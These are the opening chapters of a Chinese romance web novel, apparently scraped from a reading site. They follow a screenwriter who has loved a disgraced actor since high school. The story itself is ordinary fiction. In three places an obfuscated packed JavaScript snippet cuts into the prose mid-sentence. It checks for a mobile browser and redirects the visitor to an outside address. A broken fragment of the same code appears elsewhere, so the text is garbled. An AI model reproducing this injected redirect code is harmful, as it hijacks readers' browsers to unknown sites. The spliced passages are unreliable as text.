《梦境与我为邻》 1. 2024春 文/梦境与我为邻 作者/姜璟 2025年2月14日 首发于晋江文学城,感谢支持正版~ 【终有一日美梦成真,心仪男孩常驻于身边。 祝你,也祝我。】 01 2024年初春,北京。 街道两旁,悬铃木上冬眠了一个月的雪慢慢醒来。挟裹着湿冷空气的风吹不散萦绕在摩天大楼玻璃幕墙外灰蒙蒙的雾,纵横交错的立交桥上车流如织,时不时响起刺耳的喇叭声。 推开公寓大门,孟寻缩了缩脖子走了出来。刚熬了一个通宵改完剧本,此刻饥肠辘辘,又累又困。 问了楼下几家早餐店,第一笼包子都卖完了,第二笼还得等上几分钟。她等了会便不耐烦了,干脆到前边大厦楼下711便利店买了个鸡蛋火腿三明治,一路干啃着往回走。 经过十字路口,孟寻习惯性停下脚步抬头往上望。商场外墙上巨幅海报不知何时被揭下,空荡荡的,让人很不习惯。 到家后,囫囵吞了点水,发干的喉咙这才舒服了点。 眼睛却还是干涩得发疼。 孟寻胡乱脱了外套,躺到床上,一把拉过被子盖到头顶,于是整个世界昏黑一片,只剩枕头上氤氲不散的潮湿水汽。 不知何时,再度一脚陷入了薄荷色梦境。 * 一整个炽热的夏都在那棵香樟木上停驻。教学楼间Z字形楼梯上,少年穿着洁白的校服衬衫,衣领微微翻开,下摆被风鼓起,远远看去,像一只自由自在、无拘无束的风筝。 孟寻能清晰感受到心脏的强烈震动。 一步一步向他走去。 她不自觉地出声:“李纵,好久不见。” 下一秒,他好像听见声音,缓缓偏头朝她看来。 刺眼的日光投射下来,让人有些睁不开眼,所以还是没能看清楚他的脸。 唯一清晰的,是他的眼睛。 漆黑的,很亮很亮的,仿若冬夜里的星星。 * 醒来时,落地玻璃窗外天色已经昏黑。孟寻慢吞吞掀开被子下了床,穿衣镜里映出一张苍白的怅然若失的脸。 打开手机,各个社交app消息通知纷至沓来,瞬间将她淹没。 已经是第三天了,#李纵塌房#这一词条却依然稳稳地挂在微博热搜第一。实时广场上,辱骂与人身攻击不断刷新着。 首页甚至有人改名为“李纵今天死了没”,将他照片P成黑白遗照,配上一排点蜡的表情。 孟寻立马将这个账号拉黑了,眼不见为净。 但还是喘不上气,心脏很难受。 最后索性把微博卸载了。 这些天,可以说是李纵出道十年来最为黑暗的时刻。 一个月前,他还是炙手可热的顶流,出道多年没有任何负面新闻,业内对他的评价极高,走到哪里都被鲜花和粉丝簇拥,就连对他围追堵截的狗仔们都夸过他是最有家教的208。 谁也没有想到,仅仅一夜,他从云端坠落,黑料缠身。就连他的粉丝也成了过街老鼠,人人喊打。 而这一切,得从跨年夜李纵的绯闻女友汪逸影在自己的公寓里割腕自杀后被送到医院开始说起。 消息一出,狗仔们闻风而动,仿佛嗅到血腥味的鲨鱼,迅速包围了李纵与汪逸影隶属的星耀娱乐所在的大厦。 网络上也沸腾了。 很快就有人匿名爆料,说汪逸影患有严重的抑郁症,这已经不是她第一次自杀了,去年她就曾因吞了大量安眠药被送去抢救。 紧接着,又有所谓的业内知情人士站了出来,言语闪烁,语焉不详,暗示汪逸影的病是李纵造成的。 这年头,男性pua精神控制女友的事件频频发生,屡见不鲜,娱乐圈更是从不缺乏此类乱象。但李纵此前温柔有教养的形象深入人心,突然卷进这样的丑闻里,难免让人觉得有些割裂。 所以一开始大家并不相信他会做出这种事情,除了粉丝,路人们也纷纷为他说话。直到微博上某知名狗仔放出了一段偷拍视频—— 画面昏暗,看得出来是在夜店一类的场所,李纵穿着黑T,身旁围绕着一群身着爆乳装的女人,面前桌上摆着一堆横七竖八的啤酒瓶。 他微低着头,冷白长指间夹了根烟,猩红火光映亮他乌浓眼睫,周遭全是浅淡的烟气。清冷颓废中透着一丝放荡,让人脸红心跳的坏。 短短12秒的视频里,其实李纵并没有被拍到跟那群女人有什么亲密的接触,甚至连一句交谈都没有。 可这副模样,与以往他出现在公众视野里的样子实在是大相径庭,别说路人了,就连他的粉丝都有些接受不了。 屋漏偏逢连夜雨,就在这个时候,李纵去年拍的一部都市情感剧《年过三十》播出了,而他在剧里饰演的是一个心理扭曲的家暴男。 这是李纵出道以来第二次出演反派角色,客观来说,这部剧里他的表现极其出彩,演技细腻,将一个暴躁易怒、反复无常的家暴男形象刻画得入木三分。 但也因为这个角色演得太好了,让他的形象变得更加负面。 不过真正让李纵彻底无法翻身的致命一击,是接下来知乎上他的初中校友实名抛出猛料,言之凿凿说李纵是杀人犯,他害死了他的亲弟弟李衡。 之前那些黑料顶多只能说明李纵私生活混乱,而杀人可是犯罪。这样的指控让粉丝们气炸了:【转发次数达到五百次以上就构成诽谤罪了,已录屏取证,你就等着牢底坐穿吧!】 此人却一点也不慌,反而嚣张地放话:【我说的这些全部都是真的,你们这群脑残粉看看你家主子敢来告我吗?】 随着舆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470219|185541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论不断发酵,整件事情被推到高潮。 然而无论是星耀娱乐还是李纵本人,始终都没有站出来做出回应,似乎是打算冷处理了。 这下,就连原本还相信李纵的最后一小拨粉丝也开始动摇了。 墙倒众人推。 李纵合作的商务接连被解约,圈里的制片人、导演、演员同行陆续站出来踩他一脚,对家粉丝仿佛过年一样,不断发起抽奖将李纵塌房的事情广而告之。 一夜之间,那个曾经闪闪发光的大明星就这么成了众矢之的,人人唾弃。 孟寻下楼吃饭时,碰见一帮头戴安全帽的工人正在将公交站台印有李纵照片的广告牌拆下。 走到商场门口,又看到一个女人正指挥着两个店员撕下店门玻璃上贴着的李纵的海报,一脸嫌恶:“赶紧把这些都拿掉,晦气死了!” 那些小一些的海报被揉搓成团,扔进旁边垃圾桶里。 剩下最大的那张被随意丢弃在地。 来往的行人脚步匆匆,一双双大小不一的鞋子一次次毫不留情地踏过海报上他的脸,将他清俊眉眼碾压成脏兮兮的泥色。 孟寻明明已经进了商场,快走到电梯那里,又鬼使神差掉头出来,撞见一个保洁阿姨正在清理地上的垃圾。 幸好,那张海报还在原地。 孟寻弯下腰将它捡起,小心翼翼用指腹一点点将上边的褶皱刮得平整,毫不在意手指因此染上了脏污。 她记得很清楚,这张图是去年圣诞节李纵代言某款巧克力时拍的,有一个系列。照片上,他穿着一件午夜蓝色的粗针毛衣,衬得肤色更为冷白,怀里抱着一只巧克力色的毛绒小熊,整个人看着特别温柔。 她很喜欢这套图,手机里还存了高清电子版。 “小姑娘,这都脏了,你还捡起来做什么?拿来我帮你丢掉吧。” 保洁阿姨不知何时来到她面前,一边试图从她手上拽走那张海报,一边好心提醒道:“我可听他们说了,这个人太坏了,是个杀人犯呐,你千万别再喜欢他了!” 孟寻张了张口,一时间却不知道该怎么为他辩解,只是本能地紧紧攥着那张海报不肯松手,指节因为过分用力开始泛白。 见状,保洁阿姨皱起眉头,转身走了,叹息声随着风传了过来:“唉,也不知道现在这些小姑娘到底是怎么了?怎么连杀人犯都喜欢……” 他不是杀人犯。 不是的。 他是一个很好、很好的人。 孟寻拿着那张海报怔怔地站在原地,浑然不觉马路对面停着一辆黑色保姆车。 车子侧边倒车镜里,映出副驾驶位上男人黑色鸭舌帽檐阴影下冷清的眉眼。指间香烟快燃完了,他始终定定地盯着她。 许久,直到看见女孩走进商场的旋转玻璃门,男人才哑声开口: “走吧。” 2. 2024冬 2024年是过去二十七年人生里最为忙碌而收获也最多的一年。 孟寻不记得自己究竟熬过多少个通宵,又写完了多少个剧本。从“她逃他追他们都插翅难飞”的狗血虐恋题材到“斗婆婆、打小三、虐渣男”的打脸虐渣题材,每一个剧本反反复复改了又改,不断打磨故事架构、雕琢人物细节。 努力终有回报,她署名的短剧陆续爆了几部,在短剧圈子崭露头角。 随着事业逐渐步入正轨,孟寻从当初阴暗潮湿的地下室搬到了如今明亮温馨的公寓loft。工作繁忙,没有太多时间追星发梦,她与以前玩得好的同担们慢慢没了联系。 而网络上“李纵”这个名字很少再被提起。年初他顶着舆论压力拍完了刑侦悬疑剧《乌鸦》,之后大半年时间都没有再进组。他之前拍完的所有存货全都迟迟没有播出。 虽然没有看到相关文件,但大家已经默认他被广电封杀了,自然也不会再有哪个想不开的剧组会要他。 他就这么消失在公众视野里。 夏天来临的时候,一家刚创立不久的影视传媒公司向孟寻抛出了橄榄枝: “短剧太过下沉,既浪费你的故事,也磨灭你的灵气。橘风,要不要试试来我们这里一起做精品?” 孟寻没有任何犹豫便答应下来了。 接下来连续三个月的时间,她每天埋头伏在工作台全神贯注投入写作,将自己从短剧创作中汲取到的叙事技巧融入到电影更为复杂而精巧的情节脉络里。 终于在银杏叶即将泛黄的时候,交出了她人生中的第一部电影剧本《十万八千梦》的初稿。 制片人窦玉兰原本就是孟寻的读者,大概是粉丝滤镜的加成,她对这个故事赞不绝口,拿到剧本后迫不及待就拿去给公司决策层进行项目提案。 孟寻焦急地等待了差不多一个月的时间。经过公司高层一次又一次的评估与审核,最终这一项目顺利过会。窦玉兰又马不停蹄去向相关部门提交立项申请,同时开始筹集资金、组建团队。 距离电影真正开拍还有很长一段时间,孟寻得到了进入职场以来的第一个长假。她飞回洛川,在家里呆了不到三天,就因为受不了她家母上大人每日拐弯抹角的催婚,连夜收拾行李又跑到了横店找好友温渺渺玩。 这夜,两个女孩肩并着肩挤在酒店狭小床上,彻夜聊天。 “孟孟,你,”温渺渺顿了下,语气有些小心翼翼的:“还喜欢他吗?” 她们都知道,这个“他”指的是谁。 孟寻垂下眼去,许久没有说话。 “……我有个朋友,她跟的艺人之前去看心理医生时碰见李纵了,听说他好像一直都在服用镇静类的药物。” 温渺渺说完,见她脸色不对,马上又说道:“他们就是喜欢胡说八道,我们李纵学长多么优秀又阳光,怎么会得心理疾病啊?肯定是为了拍剧才去心理诊所的。” 可是她们都知道,李纵已经很久没有戏拍了。 沉默声中,温渺渺轻轻叹了口气,侧过身去一把抱住自己的好友:“孟孟,难过的话,就哭出来吧,我陪着你呢。” 孟寻摇了摇头,“我没有难过,我只是——” 想他了。 很想、很想。 _ 离开横店那天,孟寻在火车上给窦玉兰打了电话: “……兰姐,这部电影我可以不要任何酬劳,但是男主的演员,可以让我来选吗?” 在影视制作的复杂流程中,选角这个环节绝大多数编剧是没有多少话语权的。 虽说剧本是由编剧精心雕琢的,每个角色都倾注了他们的心血,但他们最多也只能基于对角色的深刻理解提出一点建议,采不采纳还得看投资方。 一般也很少会有编剧问出这种问题。 窦玉兰错愕了下,倒是没有直接拒绝:“这样吧,我先和宋总聊聊,过几天给你答复。” 孟寻也只是一时冲动才问出了那个问题,对于这件事情本身她并没有抱太大的希望。 但出乎意料的是,第二天孟寻就接到了窦玉兰的电话,对方表示宋总破天荒地同意了她的要求。 他们公司刚刚创立,大老板宋昶又是00后,想法很天马行空,做事随意,不拘小节。团队里也都是年轻人。 可能就是因为这样,所以没有影视圈内一贯将编剧视为底层,任由投资方一言堂的陋习。他们很尊重内容创作者。 “男主的人选你想找谁?我可先说好了,这边开不出太高的片酬,如果你喜欢的艺人咖位太大,是看不上咱们这种小成本电影的。” 孟寻说出“李纵”这个名字后,窦玉兰沉默了。不过她依然没有直接否定,只说:“我再去找宋总商量一下。” 这次孟寻足足等了一个星期,窦玉兰才打来电话,是好消息。 “宋总搞定了公司高层,大家都同意了。前提是,你能把李纵请过来。剩下的我跟导演会亲自跟他谈。对了,你应该没有他经纪人联系方式吧?等会我发给你。” “不用了兰姐。” 孟寻有点不好意思:“我有他经纪人的微信号,我去争取。” 李纵的经纪人叫容霆,高中与大学都和孟寻同校。 大三那年有次联谊,他主动要了她的微信。不过两人加完好友后,一直都没聊过天,这么多年都在对方列表里静静躺尸。 孟寻斟酌许久,断断续续输入又删除,终于编辑好了那句:【容霆师兄您好,我是15届心理学系的孟寻,许久没有联系,希望没有打扰到你。我现在也在影视圈工作,有个项目想跟您带的艺人合作,您方便的话,我们可以聊聊吗?】 点击发送之前,孟寻怀疑过自己会不会已经被对方删除掉了。 她的运气还算不错,消息发送成功了。 但等了整整一天,容霆都没有回复。 孟寻苦恼地想,是被委婉拒绝了吗? - 受寒潮影响,11月25日北京出现雨夹雪天气。11月26日夜间,北京降下2024年入冬以来的第一场雪。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孟寻松了口气,又深呼吸几下,这才再次开口: “有个角色非你不可。” “你愿意来吗?” 不等对方回答,她又快速补充道:“虽然是部小成本电影,片酬不会很高,不过我会尽力帮你谈到最好的待遇。” 说完,她不自觉屏住呼吸。 两三秒后,手机里头才传来男人不疾不徐的回答:“这个问题,我需要和我的经纪人谈谈才能给你答案。不过现在,你可以先告诉我你的名字吗?” “孟寻!我叫孟寻!” 孟寻急急说完了,停顿片刻,声音不自觉低了下去:“孔孟的孟,寻寻觅觅那个寻。” “……我,是你的粉丝。” 最后一个音节落下的瞬间,她仰起头,风雪纷纷扬扬吻过她的脸,松针坠入洁白温柔的梦。 心跳声震耳欲聋,眼泪不受控跌落。 这是他出道的第十年 也是,她暗恋他的第十三年。 小粉丝与大明星,两条看似永远不会有任何交叉的线。 在这一刻,终于有了真实的交集。 3. moon 孟寻是早产儿,出生后在保温箱里待了很长一段时间。 不知是不是因为在娘胎里没发育好的关系,她打小就迟钝,不管做什么事情永远都比同龄的其他孩子慢上一拍。 她长第一颗青春痘,是在2012年夏末,15岁,刚上高一的第二个星期。 随之呼啸而来的,还有她的青春。 - 周一。 尽管已经开学一个多星期了,孟寻的作息还是没从暑假的日夜颠倒调整回来。这天一如既往的又睡过了头。她背着书包一路狂奔赶到学校门口时,值日生们说说笑笑着正要关门。 “等一下!” 赶在推拉门被彻底关上之前,孟寻跟条灵活的鱼一样迅速挤了进来。只是还没来得及松口气,就听见一道冷冷的不耐烦的女声—— “几班的?你校章呢?怎么不戴?” “校章,校——” 孟寻下意识摸了下左边胸口位置,顿时愣住。 糟了,出门前她家母上大人千叮咛万嘱咐校章给她放在了洗衣机上要记得拿,当时她嘴上应得好好的,结果最后还是忘了这茬。 “没带?” 不等她回答,对方劈头盖脸呵斥起来:“学生守则第十二条,入校不戴校章扣两分,你不知道吗?” “知道是知道,”孟寻仰起脸来,做出一个可怜巴巴的表情:“学姐,我真不是故意的,能不能通——” “别跟我来这套!最烦你们这些人了。” 对方摊开蓝色文件夹,手握一根黑色水笔,没好气道:“赶紧交代,几班的,叫什么名字,学号多少。” “高一、十、十六班……” 孟寻不停绞着书包背带,心想完了完了,上周班会课上班主任才特意强调过,第一个月他们班必须拿到流动红旗,谁都不许违反校规导致班级被扣分。 想起灭绝师太那张凶恶狰狞的脸,她咽了咽口水:“孟、孟——” 头顶上方,蝉鸣声反复折叠,不知疲倦。香樟树绿得热烈,云蒸霞蔚中漏下来丝丝缕缕透明的光亮。 眼尾余光中,一道高大修长的蓝白色身影逐渐靠近,从模糊的小白点逐渐变得清晰。 当他与风一起挟裹着夏日清冽的草木香气经过她们身边时,值日生学姐的注意力一下从孟寻身上转移: “李纵!” 孟寻被学姐这陡然变换的娇滴滴语气弄得起了一身鸡皮疙瘩,两秒之后才反应过来,抬眼看向来人。 先看见的,是他身上那件宽松肥大的纯色白T,下摆被风灌入微微鼓起,像只自由自在、无拘无束的风筝。 第一反应是,这人好高啊。 应该不止一米八了吧。她暗自想道。 她的视线只能到他胸口以下,于是不得不费劲地仰起头来。 晨曦中,眼前画面如泛黄胶片上铺满的雪花噪点一点一点地消失不见,而后逐一清晰浮现出少年凌乱浓黑的碎发与立体的五官。 冷白皮,斜眉入鬓,桃花眼,高鼻薄唇,面容冷清。 瞳仁乌黑,像浸了水的玻璃珠般波光潋滟,削减了棱角分明的下颌线条所带来的锐气感。 他就是李纵,那个洛川一中无人不知、无人不晓的风云人物。 家世好,长得帅,成绩好,校篮球队主力,是当之无愧的校草。 其实入学第一天就已听过他的大名,所以脑海里一直有个模模糊糊的轮廓。 但直到这一刻,才将他的名字和脸彻底对应起来。 原来他是这个样子。 很奇怪的,在这一秒她脑海里突然冒出一个念头,和这个名字对应的,必须是也只能是眼前这个样子。 这个名字和这张脸如此契合。 李纵视线掠过她们两人,像是在辨别刚刚出声喊他的人是谁,声音带着才刚睡醒的沙哑懒倦:“要记名啊?” 学姐笑得花枝乱颤:“记什么呀,快打早读铃了,你赶紧走吧。” 他似乎一点也不意外,“谢了。” 说完迈着长腿继续往前。 孟寻注视着对方离去的背影,内心愤懑不已。 凭什么啊? 他不也没穿校服! 仿佛接收到她怨念的目光,视线中少年忽地停下脚步回过头来,似笑非笑看着她,语气是带了点懒散不耐烦但又莫名熟稔的: “还不走?” “啊?”孟寻呆呆地看着他,好几秒后才反应过来对方这话应该是对自己说的,一头雾水的同时又受宠若惊:“哦哦!” 然后就看见他轻轻扯了下唇,笑了。 漆黑眼睛一瞬间变得很亮很亮,就像冬夜里的星星。 孟寻一下怔住。 胸腔里那颗小小心脏在这一秒骤然停了一下,紧接着迎来了一次比一次更加强烈的跳动。 砰、砰、砰。 整个世界天旋地转,让她晕眩不已。 没有言情小说里一场突如其来的瓢泼大雨,也没有女主角一不小心跌入男主角怀里那种浪漫情节,这只不过是漫长学生时代里最寻常最普通不过的一天而已。 但就是这么一眼,蝴蝶飞过沧海,轻轻扇动翅膀,在她心里掀起一场波澜壮阔的海啸。 而他,造成这一切的始作俑者,永远也不会知道。 仅仅一眼,便已足够刻骨铭心。 - 然而在那之后,其实很长一段时间里她都没有再见过他。 李纵所在的高三教学楼位于学校东面,而孟寻他们高一年级是在西面,一东一西,隔着一个五百多平方的篮球场。 对于15岁的少女而言,这样的距离就已称得上遥远了。 矛盾的是,他又离得很近,好像无处不在。 孟寻每天都能听见各种关于李纵的小道传闻: 比如,昨晚本市电视台财经频道采访的那个优秀企业家,是他爸爸。 比如,上周篮球比赛中场休息时校花给他送水,他没接。 再比如,去年他一个人拿下了省物理竞赛与化学竞赛两枚金牌,使得洛川一中在全省名声大噪,校长至今还把这事挂在嘴边。 无论孟寻走到哪里,教室里、走廊上、女厕所……总能听见女孩们围绕着“李纵”这个名字红着脸窃窃私语。 她总会故作不经意地驻足,偷偷竖起耳朵。 这是她唯一可以了解他的途径。 从别人那里得知了他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470221|185541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 95年的天秤座,高三理一班,学号是07,篮球服上也是这个数字,喜欢的球星是詹姆斯,擅长数物化生,语文和英语成绩却烂得一塌糊涂,朋友有很多,从初中时就不乏追求者,但似乎至今还没有和哪个女生谈过恋爱。 就这样一点一点地在脑海里拼凑出一个越来越完整的他。 可每每试图想起那张脸时,却又总像隔着一层毛玻璃一样,依然模模糊糊。 唯一清晰的,是他的眼睛。 对着她笑时漆黑又明亮的眼睛。 某天听说校花给李纵递了情书,被他以“现阶段以学习为重”为由礼貌拒绝了。当时很多人看见她哭着跑走。 本以为这件事情会让他的人气大打折扣,却没料到,反而有越来越多的女生蠢蠢欲动,每天跑去他们班门口看他,挤得走廊上水泄不通。 甚至还有胆子大的,直接拿着情书对他围追堵截。 跑去李纵他们班找他这种事,孟寻是万万不敢的。 送情书就更不可能了。 校内传言,学校正中间那棵百年银杏很灵,对着它许下愿望就会实现。 于是每次经过树下,孟寻都会在心里祈祷李纵千万不要答应任何一个女生的告白,永远不要谈恋爱。 有时也会突然的良心发现,心想,许这种愿望是不是太过恶毒了呢? 但下一秒又立马双手合十,更加虔诚。 拜托拜托,就让他一直是那个人人爱慕而不可得的月亮吧。 上帝啊,原谅她吧。 她的勇气也仅限于此了。 许多个夜晚昏黄的台灯下,孟寻摊开习题册,写着写着总会不自觉停下笔,双手托腮绞尽脑汁想着给他取个代号。 不是李纵,而是一个可以光明正大出现在她日记本上而不会被任何人知晓的称呼。 想来想去,最后还是用了他名字的缩写“LZ”作为代替。 白天经过篮球场时,孟寻会故意将脚步放得很慢,每次却又只敢匆匆忙忙往场上瞄去一眼,几十个跑动的男生里,还没来得及分辨出哪个是他,视线便已慌乱收回。 一次也没看见过他。 又或许是速度太快,所以没有注意到。 到底看没看见呢? 不知道,也不重要。 她会乐观地当做自己已经见到了他,当做这是他们之间的又一次交集,然后为此悄悄雀跃不已。 开始对数字“7”格外关注。 把课本上第七页折了个角,将习题册上第七道题打了个勾,就连台历上每个月的七号也要用荧光笔圈起来。把这些幼稚愚蠢的小仪式都当成了自己和他之间的联系。 尽管事实上,李纵和这些东西压根没有任何一点关联。 开始热衷研究杂志上的星座运势。 把写着天秤座与白羊座速配指数五颗星的那一页小心翼翼撕下来夹进日记本里,而写着风象星座与火象星座注定有缘无分的那一页则被撕下来揉成一团丢入垃圾桶。 明明李纵根本不认识她,不会知道这个世界上存在一个叫“孟寻”的女孩,更不会知道,她的青春因他而开始。 但他已经成为少女绮丽梦境里不可或缺的唯一主角。 4. moon 一直不知道到底该将十月划分为夏天还是秋天比较好。 洛川的夏季太过燥热漫长,而秋天总是姗姗来迟,在某个抬起头的瞬间突然降临,先是看见蔚蓝澄澈到没有一丝杂质的天空,接着才后知后觉注意到头顶上方伸出的树枝,叶子全都染上金黄,七零八落。 孟寻再次见到李纵,就是在那个秋天突然降临的时刻。 这周轮到了十六班打扫公共卫生区,孟寻他们小组负责的是地理园这一片。 这地方实在太大,地上全是落叶,好像永远都扫不完一样。相比之下,隔壁小组负责的升旗台那一片清理起来轻松了太多。 不知是谁先起的头,大家抱怨起来,哀嚎连天。 孟寻一个人站得远远的,没有参与他们的话题。 想到因为值日这个正当理由可以在这里拖拖拉拉一直待到早读课结束,不用害怕被老师抽到背诵,就开始傻乐起来。 15岁的时候,烦恼和快乐总是如此简单又渺小。 孟寻戴上耳机,将mp3塞进校服外套口袋里,提着扫帚慢吞吞扫着脚边落叶。 扫着扫着百无聊赖抬起头,正猜测着那么多片泛黄的叶子中究竟是哪一片会先掉落下来时,一道高大清瘦的身影不经意又自然而然地闯入眼帘。 很奇怪的,明明还没来得及看清他的脸,明明他穿的是和周围其他人一模一样的蓝白校服,明明只是一个模模糊糊的轮廓。 可是在他出现的那一秒,就是那短暂的一秒,她一下就认出了他。 是不是暗恋的少年身上永远笼罩着光? 还是说因为他是李纵,所以无论他走到哪里,光就会跟到哪里,即便是在拥挤人潮之中,还是能叫她一眼就看见。 李纵就这样和身旁另一个男生说说笑笑着从她面前走过,目光也蜻蜓点水地从她面上掠过。 0.01秒的视线交汇,孟寻心跳蓦地漏掉一拍,双手不自觉松开,扫帚“啪”一下掉落在地。 等回过神来,李纵早已走远。 他走姿散漫的背影都比旁边的人要好看些。校服外套松松垮垮,衣领没有翻好,后颈上露出的一小块皮肤在凌乱浓黑碎发下更显苍白。 经过一个夏季的暴晒,班上男生都跟黑炭似的,他却好像比上次见到时还要更白了一些,让人感慨上帝果然偏爱于他。 直到李纵拐入教学楼,再也看不见了,孟寻才依依不舍地收回视线。 然后开始反复回味着刚才那个浮光掠影的对视。 他看她了吗? 又或者,一切其实只是一场镜花水月的幻觉,根本没有发生过。 她始终无法确定。 就这么纠结了整一节早读课。 直到下课铃声猝然响起的一瞬,孟寻忽地意识到,地理园的后面就是高三教学楼区。 这就代表着,接下来的一周都有和李纵见面的可能。 想到这里,她整颗心被巨大的快乐包裹着,大脑晕乎乎,浑身轻飘飘,好像下一秒就会被风吹到天边。 这种雀跃一直持续了整整一天,就连上数学课的时候都在傻笑。 也许是那棵银杏真的显灵了,接下来的四天都如愿以偿地见到了他。 孟寻发现,李纵是真的不爱穿校服。除了周一那天,其他时候他都是穿的纯色T恤,周二那天是黑色,周三白色,周四灰色,周五又穿回那件黑色。 于是她断定,他最喜欢的颜色应该是黑色。 以前一直喜欢明亮的颜色,并不喜欢压抑的黑色。因为他,她开始喜欢上黑色。 在校服外套里面穿黑色的吊带,袜子也从彩虹色变成黑色,买笔记本时不再选择花里胡哨的卡通图案封面,全部换成单调的商务黑。 但这些还是远远不够。 她渴望了解他的全部。他喜欢什么又厌恶什么,她都想知道。 有次刚下体育课,孟寻气喘吁吁跑进小卖部时,意外地碰见了李纵。 当时他和他的朋友们围在雪柜前,有人拿了可乐,有人拿了雪碧。 轮到李纵时,他在雪柜里找了半天,最后还是在老板的提示下才终于找到他要的那款饮料。 孟寻看得目不转睛,记住了他拿走的那瓶是什么样子的。 等李纵一行人一走,她立马挤到雪柜前。幸运的是,里边刚好还剩下最后一瓶。 黑褐色的瓶身写着陈皮白茶,她从没听过更没喝过。 结账的时候被吓了一跳,小小一瓶价格居然是可乐的四倍。 一天的零花钱就这么没了。 从小卖部出来,接触到日光的刹那,瓶身冒起无数细小水珠,濡湿掌心。 心砰砰乱跳,跟做贼似的。 回到教室把它放在桌上,一整天下来都没舍得打开。 直到晚上写日记的时候才终于拧开了,尝了一口毫无防备被苦得瞬间龇牙咧嘴。 但心里却很甜。 原来,他喜欢喝的是这种苦苦的饮料啊。 好像离他又近了一点。 那个关于“李纵”的梦,从这一天开始有了第一块真实的拼图。 千千万万个有关于他的问题里,孟寻最想知道的是,李纵身上究竟是什么味道? 仅有的几次与他擦身而过,风是透明的薄荷绿,挟裹着夏日清冽的草木气息。 太淡了,似有若无,很不真实。 那就是他的味道吗? 孟寻越来越迫切地想知道这个问题的答案。 渐渐的不甘心只是原地等待着上帝大发慈悲赏赐她一场偶遇。 终于在秋天即将结束的时候,某个课间十分钟,孟寻鼓起勇气第一次踏进高三教学楼区。 知道李纵在高三理一班,却不知道理一班究竟是在迎朝楼还是中明楼,又是在第几层。于是只能从迎朝楼开始,一层一层如同无头苍蝇一般地找。 明明随便找个学长或者学姐问一句就能解决的事,偏偏要用这种最笨最费力的方式。仿佛只有这样的辛苦,才配得上她的满腔爱意。 爬楼梯累得上气不接下气,心跳剧烈,某一刻她感觉自己像个披荆斩棘的勇士,愚蠢又伟大。 十分钟根本不够。 快爬到迎朝楼顶层的时候,上课铃声响了,孟寻只能迅速往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470222|185541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回跑。 这一趟毫无收获。 第二次去的时候,爬楼梯累得气喘吁吁,总算弄清楚理一班是在中明楼第七楼。 第三次去的时候,佯装无意脚步匆匆经过他们班窗外。 第四次去的时候,看了眼教室最后一排靠窗他的座位,可惜当时他并不在。 …… 大抵这就是老人口中的没有缘分,那么多次里,居然一次都没碰见过他。 她十分沮丧。 决定放弃那天,孟寻想,就再去最后一次吧。 也是这一次,上帝终于被她打动。 那天他们班老师拖堂了。 孟寻到达第七楼时,他们才刚下课,所有人都还在座位上。 她站在教室后门口探头往里望,自以为和之前一样不会有任何人在意她的出现。毕竟,每次下课后在走廊上偷偷又或是光明正大看他的女生那么多,混入其中的她实在太过普通,没有什么引人注目的。 但不知该说她运气好还是不好,意外却发生了。 李纵和他的朋友们说笑着走过孟寻面前时,其中一个男生不知怎的注意到了她,停下脚步冲她挑眉: “小学妹你找谁啊?要不要哥哥帮你喊他出来?” 因这一句,十来道视线一下子全都落在她一个人身上。 孟寻被吓了一跳,眼尾余光中李纵竟然也看了过来。 “我、我——” 心脏跳动是从未有过的剧烈,仿佛下一秒就会挣脱胸腔的束缚。 完了完了。 他是不是看出来了? 她的秘密是不是要被当众拆穿了? 幸好关键时刻,突然在教室里一片密密麻麻伏在桌上的脑袋中看见了自己认识的一个,虽然其实和对方根本不熟。 是搬家前邻居家的哥哥,叫张俊,两人此前已经有两三年没见过了。 “我找他!” 孟寻说完红着脸朝着张俊飞奔而去,在他的课桌前急刹车时,才回头看了一眼后门口。 那群男生已经不在了,李纵也是。 张俊正在补眠,被同桌捅了下手肘:“起来,有女生找你。” 他顶着个鸡窝头,睡眼惺忪,认出是她之后表情明显的失望:“有事吗?” “呃、呃,”孟寻急中生智,从兜里摸出一颗草莓牛乳糖:“哥哥,这个给你!” 而后迅速跑掉。 张俊会觉得她很莫名其妙吧。 不过这不重要了。 孟寻蹦蹦跳跳回去自己的班级,一路上都在反复回味着刚才李纵看她时的表情。 当时他的目光停留在她身上有多久呢? 三秒? 好像还不止。 复盘了很久,最后才得出结论,大概有五秒。 不会有人知晓,这短暂的五秒,是第一场由她精心设计的遇见。 